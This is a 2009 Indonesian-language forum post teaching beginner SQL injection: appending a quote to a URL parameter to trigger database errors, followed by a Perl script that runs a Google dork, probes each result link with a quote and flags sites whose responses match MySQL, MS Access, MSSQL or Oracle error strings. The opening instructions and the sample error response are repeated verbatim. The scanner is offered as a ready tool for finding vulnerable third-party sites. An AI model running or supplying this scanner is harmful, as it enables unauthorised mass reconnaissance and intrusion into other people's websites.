TEknIk MEndasar Sql Injection Season 1
Posted: Thu Jun 11, 2009 6:51 pm
CAra Pertama Untuk MenceK web tersebut ada hole sql injectionnya atau tidak maka lakukan cara seperti ini
setiap pertama kali test tambahkan tanda ('), atau (""), atau Tanda (;).
contoh:
[url sebelum di test] http://www.example.com/news.asp?id=10
[Testing Sql] http://www.example.com/news.asp?id=10'
jika web tersebut ada sql injectionnya maka akan keluar eror seperti ini :
[HTTP Response]-----------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/news.asp, line 52
[End HTTP Response]-------------------------------------------------------------------------
Untuk cara mudah mencari web yang vuln sql atau tidak maka aku akan memberikan simple perl scrip untuk mensearch sql injection.
setiap pertama kali test tambahkan tanda ('), atau (""), atau Tanda (;).
contoh:
[url sebelum di test] http://www.example.com/news.asp?id=10
[Testing Sql] http://www.example.com/news.asp?id=10'
jika web tersebut ada sql injectionnya maka akan keluar eror seperti ini :
[HTTP Response]-----------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/news.asp, line 52
[End HTTP Response]-------------------------------------------------------------------------
Untuk cara mudah mencari web yang vuln sql atau tidak maka aku akan memberikan simple perl scrip untuk mensearch sql injection.
Code: Select all
-----------------------------------------------------------------------------------
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
print "+++++++++++++++++++++++++++++++++++\n";
print "+ XcoDe google Sql SearcH +\n";
print "+ XcoDer Crew +\n";
print "+++++++++++++++++++++++++++++++++\n\n";
print "Insert Dork:";
chomp( my $dork = <STDIN> );
print "Total Query Pages (10 Links/Pages) :";
chomp( my $page = <STDIN> );
print "\n[+] Result:\n\n";
for($start = 0;$start != $page*10;$start += 10)
{
$t = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$start;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($t);
if ($response->is_success)
{
$c = $response->content;
@stuff = split(/<a href=/,$c);
foreach $line(@stuff)
{
if($line =~/(.*) class=l/ig)
{
$out = $1;
$out =~ s/\"//g;
$out =~s/$/\'/;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($out);
$error = $response->content();
if($error =~m/mysql_/ || $error =~m/Division by dh4n in/ || $error =~m/Warning:/)
{print "$out => Could be Vulnerable in MySQL Injection!!\n";}
elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
{print "$out => Could be Vulnerable in MS Access Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
{print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
{print "$out => Could be Vulnerable in Oracle Injection!!\n";}
}
}
}
}
[End code]----------------------------------------------------------------------------------
SampAi JumPa di kelanjutannya nanti
Spesial Thanks to
ZeQ3uL && JabAv0C And Milworm.com Crew And BatamhackerCrew
